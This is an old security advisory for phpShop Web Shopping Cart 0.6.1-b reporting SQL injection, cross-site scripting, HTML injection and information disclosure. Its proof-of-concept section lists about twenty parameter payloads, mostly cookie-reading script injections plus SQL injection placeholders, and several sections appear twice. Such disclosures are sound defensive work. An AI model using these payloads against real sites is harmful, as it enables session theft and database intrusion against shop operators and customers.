PHPShop Project Multiple Vulnerabilities
BID:9437
Info
PHPShop Project Multiple Vulnerabilities
| Bugtraq ID: | 9437 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 16 2004 12:00AM |
| Updated: | Jan 16 2004 12:00AM |
| Credit: | The disclosure of these issue has been credited to JeiAr <[email protected]>. |
| Vulnerable: |
phpShop Web Shopping Cart 0.6.1 -b |
| Not Vulnerable: | |
Discussion
PHPShop Project Multiple Vulnerabilities
Multiple vulnerabilities have been reported to exist in the software that may allow an attacker to carry out attacks against the database, disclose sensitive information, and execute HTML or script code in a user's browser. The issues include SQL injection, cross-site scripting, HTML injection, and information disclosure.
Multiple vulnerabilities have been reported to exist in the software that may allow an attacker to carry out attacks against the database, disclose sensitive information, and execute HTML or script code in a user's browser. The issues include SQL injection, cross-site scripting, HTML injection, and information disclosure.
Exploit / POC
PHPShop Project Multiple Vulnerabilities
No exploit is required to carry out a successful attack.
The following proof of concept examples have been supplied:
page=[Evil_Query]
page=shop/cart&func=cartAdd&product_id=[Evil_Query]
page=shop/browse&category_id=&offset=[Evil_Query]
page=account/shipto&user_info_id=[Valid User ID]
page=admin/index&GulfTech="><script>alert(document.cookie)</script>
page=shop/browse&category_id="><script>alert(document.cookie)</script>
func="><script>alert(document.cookie)</script>
login="><script>alert(document.cookie)</script>
page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
page=shopper/index&module_description="><script>alert(document.cookie)</script>
page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
page=shopper/menu&modulename="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
page=vendor/index&module_description="><script>alert(document.cookie)</script>
page=vendor/index&menu_label="><script>alert(document.cookie)</script>
page=vendor/index&sess="><script>alert(document.cookie)</script>
page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>
No exploit is required to carry out a successful attack.
The following proof of concept examples have been supplied:
page=[Evil_Query]
page=shop/cart&func=cartAdd&product_id=[Evil_Query]
page=shop/browse&category_id=&offset=[Evil_Query]
page=account/shipto&user_info_id=[Valid User ID]
page=admin/index&GulfTech="><script>alert(document.cookie)</script>
page=shop/browse&category_id="><script>alert(document.cookie)</script>
func="><script>alert(document.cookie)</script>
login="><script>alert(document.cookie)</script>
page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
page=shopper/index&module_description="><script>alert(document.cookie)</script>
page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
page=shopper/menu&modulename="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
page=vendor/index&module_description="><script>alert(document.cookie)</script>
page=vendor/index&menu_label="><script>alert(document.cookie)</script>
page=vendor/index&sess="><script>alert(document.cookie)</script>
page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>
Solution / Fix
PHPShop Project Multiple Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHPShop Project Multiple Vulnerabilities
References:
References:
- phpShop updates (Edikon)
- Product Homepage (phpShop)
- phpShop Vulnerabilities (JeiAr